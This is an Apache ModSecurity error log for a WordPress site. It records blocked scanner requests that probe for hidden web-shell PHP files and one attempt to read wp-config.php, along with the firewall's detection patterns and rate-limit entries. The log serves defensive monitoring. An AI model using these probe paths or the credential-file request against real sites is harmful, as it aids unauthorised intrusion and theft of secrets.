[Mon May 04 16:23:32.733775 2026] [:error] [pid 61042:tid 61063] [client 193.37.32.159:45923] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/php-compat/shadow-bot.php"] [unique_id "afhXhEnAPPS1fjubA9QyaQAAANE"]
[Mon May 04 16:23:38.150845 2026] [:error] [pid 61043:tid 61093] [client 193.37.32.158:33889] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/config.php"] [unique_id "afhXip8-LwtfURjiAbB5dwAAAFI"]
[Mon May 04 16:23:38.373822 2026] [:error] [pid 61150:tid 61156] [client 193.37.32.170:63109] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/config.php"] [unique_id "afhXiu8QXWVLiwIGVpdKyQAAAUM"]
[Mon May 04 16:23:38.763078 2026] [:error] [pid 61044:tid 61115] [client 193.37.32.170:51413] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/config.php"] [unique_id "afhXikw8w2zZZXI6H1twZwAAAA0"]
[Mon May 04 16:23:49.077079 2026] [:error] [pid 61150:tid 61159] [client 193.37.32.132:35223] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/config.php"] [unique_id "afhXle8QXWVLiwIGVpdK9wAAAUY"]
[Mon May 04 16:23:49.281111 2026] [:error] [pid 61043:tid 61080] [client 193.37.32.132:20655] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/config.php"] [unique_id "afhXlZ8-LwtfURjiAbB5qgAAAEU"]
[Mon May 04 16:23:50.582822 2026] [:error] [pid 61043:tid 61094] [client 193.37.32.135:44805] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/config.php"] [unique_id "afhXlp8-LwtfURjiAbB5rwAAAFM"]
[Mon May 04 16:23:51.164097 2026] [:error] [pid 61044:tid 61126] [client 193.37.32.106:40511] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/config.php"] [unique_id "afhXl0w8w2zZZXI6H1tweAAAABg"]
[Mon May 04 16:23:56.448594 2026] [:error] [pid 61150:tid 61174] [client 193.37.32.106:62007] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/cache/config.php"] [unique_id "afhXnO8QXWVLiwIGVpdLKwAAAVU"]
[Mon May 04 16:23:56.689447 2026] [:error] [pid 61150:tid 61175] [client 193.37.32.148:60655] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-cloudflare-super-page-cache/config.php"] [unique_id "afhXnO8QXWVLiwIGVpdLLAAAAVY"]
[Mon May 04 16:24:17.058911 2026] [:error] [pid 61042:tid 61068] [client 193.37.32.158:41513] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-theme-installer-skin-client.php"] [unique_id "afhXsUnAPPS1fjubA9QyfwAAANY"]
[Mon May 04 16:24:23.062975 2026] [:error] [pid 61042:tid 61047] [client 193.37.32.136:34041] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user-new-reference.php"] [unique_id "afhXt0nAPPS1fjubA9QyggAAAME"]
[Mon May 04 16:24:43.344927 2026] [:error] [pid 61150:tid 61168] [client 193.37.32.139:27997] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "afhXy-8QXWVLiwIGVpdLWQAAAU8"]
[Mon May 04 16:24:53.990660 2026] [:error] [pid 61150:tid 61161] [client 193.37.32.136:53719] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/logs1.php"] [unique_id "afhX1e8QXWVLiwIGVpdLigAAAUg"]
[Mon May 04 16:25:14.553137 2026] [:error] [pid 61150:tid 61156] [client 193.37.32.175:39563] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/good.php"] [unique_id "afhX6u8QXWVLiwIGVpdLpgAAAUM"]
[Mon May 04 16:25:14.785936 2026] [:error] [pid 61150:tid 61162] [client 193.37.32.138:50915] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/editor/"] [unique_id "afhX6u8QXWVLiwIGVpdLpwAAAUk"]
[Mon May 04 16:25:15.055993 2026] [:error] [pid 61043:tid 61096] [client 193.37.32.132:41111] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/profile/admin.php"] [unique_id "afhX658-LwtfURjiAbB6JAAAAFU"]
[Mon May 04 16:25:20.479469 2026] [:error] [pid 3341:tid 3365] [client 193.37.32.149:37939] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-content/languages/config.php"] [unique_id "afhX8E9o3_LordU0wW75JwAAAJU"]
[Mon May 04 16:25:25.886305 2026] [:error] [pid 61150:tid 61169] [client 193.37.32.158:47277] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "afhX9e8QXWVLiwIGVpdLuQAAAVA"]
[Mon May 04 16:25:31.363703 2026] [:error] [pid 61150:tid 61159] [client 193.37.32.134:42449] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/mu-plugins/chosen.php"] [unique_id "afhX--8QXWVLiwIGVpdLvgAAAUY"]
[Mon May 04 16:25:31.644832 2026] [:error] [pid 61044:tid 61102] [client 193.37.32.109:36105] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade-temp-backup/autoload_classmap.php"] [unique_id "afhX-0w8w2zZZXI6H1tw0gAAAAA"]
[Mon May 04 16:25:42.038232 2026] [:error] [pid 3341:tid 3360] [client 193.37.32.162:46343] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins.bk/js_composer/include/classes/vendors/plugins/system.php"] [unique_id "afhYBk9o3_LordU0wW75NAAAAJA"]
[Mon May 04 16:25:42.371549 2026] [:error] [pid 61043:tid 61085] [client 193.37.32.136:21315] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins.bk/wordpress-seo/admin/import/plugins/maintenance.php"] [unique_id "afhYBp8-LwtfURjiAbB6SwAAAEo"]
[Mon May 04 16:25:52.771333 2026] [:error] [pid 61042:tid 61053] [client 193.37.32.136:56887] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "afhYEEnAPPS1fjubA9QyswAAAMc"]
[Mon May 04 16:25:58.162248 2026] [:error] [pid 61150:tid 61173] [client 193.37.32.175:47765] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/com.php"] [unique_id "afhYFu8QXWVLiwIGVpdL2QAAAVQ"]
[Mon May 04 16:26:03.692546 2026] [:error] [pid 61044:tid 61120] [client 193.37.32.173:22807] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/network/uploads/system.php"] [unique_id "afhYG0w8w2zZZXI6H1tw9QAAABI"]
[Mon May 04 16:26:14.952535 2026] [:error] [pid 61042:tid 61066] [client 193.37.32.109:63515] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/ai1wm-backups/includes/"] [unique_id "afhYJknAPPS1fjubA9QywgAAANQ"]
[Mon May 04 16:26:40.890184 2026] [:error] [pid 61044:tid 61122] [client 193.37.32.162:61671] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Transport/"] [unique_id "afhYQEw8w2zZZXI6H1txQwAAABQ"]
[Mon May 04 16:26:46.149694 2026] [:error] [pid 61043:tid 61091] [client 193.37.32.170:25417] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/wp-sing.php"] [unique_id "afhYRp8-LwtfURjiAbB6ugAAAFA"]
[Mon May 04 16:26:56.582910 2026] [:error] [pid 61044:tid 61114] [client 193.37.32.170:33469] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/missing/"] [unique_id "afhYUEw8w2zZZXI6H1txUwAAAAw"]
[Mon May 04 16:27:37.194787 2026] [:error] [pid 61044:tid 61111] [client 193.37.32.136:44009] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/block/img/themes/"] [unique_id "afhYeUw8w2zZZXI6H1txZQAAAAk"]
[Mon May 04 16:27:42.582082 2026] [:error] [pid 61043:tid 61097] [client 193.37.32.131:30905] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/wp-load.php"] [unique_id "afhYfp8-LwtfURjiAbB6_QAAAFY"]
[Mon May 04 16:28:13.057476 2026] [:error] [pid 61043:tid 61077] [client 193.37.32.155:31391] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-http-client.php"] [unique_id "afhYnZ8-LwtfURjiAbB7LAAAAEI"]
[Mon May 04 16:28:13.642651 2026] [:error] [pid 61043:tid 61075] [client 193.37.32.170:26257] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-wp-http-client.php"] [unique_id "afhYnZ8-LwtfURjiAbB7LQAAAEA"]
[Mon May 04 16:28:29.145057 2026] [:error] [pid 61150:tid 61166] [client 193.37.32.109:47539] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "afhYre8QXWVLiwIGVpdM0wAAAU0"]
[Mon May 04 16:28:34.133298 2026] [:error] [pid 61042:tid 61047] [client 114.119.144.229:51557] [client 114.119.144.229] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/sitemap_index.xml"] [unique_id "afhYsknAPPS1fjubA9QzDwAAAME"]
[Mon May 04 16:28:34.646018 2026] [:error] [pid 61044:tid 61125] [client 193.37.32.170:22377] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/autoload_classmap.php"] [unique_id "afhYskw8w2zZZXI6H1txgwAAABc"]
[Mon May 04 16:28:35.057500 2026] [:error] [pid 3341:tid 3357] [client 193.37.32.131:49161] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "afhYs09o3_LordU0wW76JgAAAI0"]
[Mon May 04 16:28:35.569615 2026] [:error] [pid 61150:tid 61170] [client 193.37.32.138:23335] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/api.php"] [unique_id "afhYs-8QXWVLiwIGVpdM2QAAAVE"]
[Mon May 04 16:28:36.059883 2026] [:error] [pid 61043:tid 61087] [client 193.37.32.148:22835] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/core.php"] [unique_id "afhYtJ8-LwtfURjiAbB7XgAAAEw"]
[Mon May 04 16:28:36.658563 2026] [:error] [pid 61042:tid 61061] [client 193.37.32.155:29689] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/wp-cron-activation.php"] [unique_id "afhYtEnAPPS1fjubA9QzGwAAAM8"]
[Mon May 04 16:28:47.641737 2026] [:error] [pid 3341:tid 3357] [client 193.37.32.106:49033] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/abilities-api/Parse/"] [unique_id "afhYv09o3_LordU0wW76hQAAAI0"]
[Mon May 04 17:45:27.170862 2026] [:error] [pid 32471:tid 32489] [client 122.168.80.9:26172] [client 122.168.80.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.80.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhqt3mjpb9EYq6AqhImFAAAAQ8"]
[Mon May 04 17:45:36.267624 2026] [:error] [pid 61044:tid 61108] [client 122.168.80.9:4240] [client 122.168.80.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.80.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhqwEw8w2zZZXI6H1t_ugAAAAY"]
[Mon May 04 17:45:46.994163 2026] [:error] [pid 61043:tid 61097] [client 122.168.80.9:1151] [client 122.168.80.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.80.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhqyp8-LwtfURjiAbCZvAAAAFY"]
[Mon May 04 17:45:57.515666 2026] [:error] [pid 32471:tid 32491] [client 122.168.80.9:5372] [client 122.168.80.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.80.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhq1Xmjpb9EYq6AqhImNAAAARE"]
[Mon May 04 17:46:08.160494 2026] [:error] [pid 61150:tid 61160] [client 122.168.80.9:8164] [client 122.168.80.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.80.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhq4O8QXWVLiwIGVpdhFwAAAUc"]
[Mon May 04 17:48:01.326150 2026] [:error] [pid 61150:tid 61172] [client 129.226.174.80:48756] [client 129.226.174.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afhrUe8QXWVLiwIGVpdhngAAAVM"]
[Mon May 04 18:19:24.231579 2026] [:error] [pid 32471:tid 32478] [client 119.73.98.223:5173] [client 119.73.98.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.98.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afhyrHmjpb9EYq6AqhIwJAAAAQQ"]
[Mon May 04 20:24:08.010304 2026] [:error] [pid 3341:tid 3365] [client 34.24.211.32:61744] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afiP6E9o3_LordU0wW5SYwAAAJU"]
[Mon May 04 20:24:08.556852 2026] [:error] [pid 61150:tid 61167] [client 34.24.211.32:59126] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afiP6O8QXWVLiwIGVpd_8gAAAU4"]
[Mon May 04 20:24:09.043314 2026] [:error] [pid 61043:tid 61085] [client 34.24.211.32:50743] [client 34.24.211.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afiP6Z8-LwtfURjiAbC9QwAAAEo"]
[Mon May 04 20:39:11.399704 2026] [:error] [pid 61044:tid 61121] [client 114.119.149.109:21599] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/contact/"] [unique_id "afiTb0w8w2zZZXI6H1uaxQAAABM"], referer: https://gigfragments.org/about/
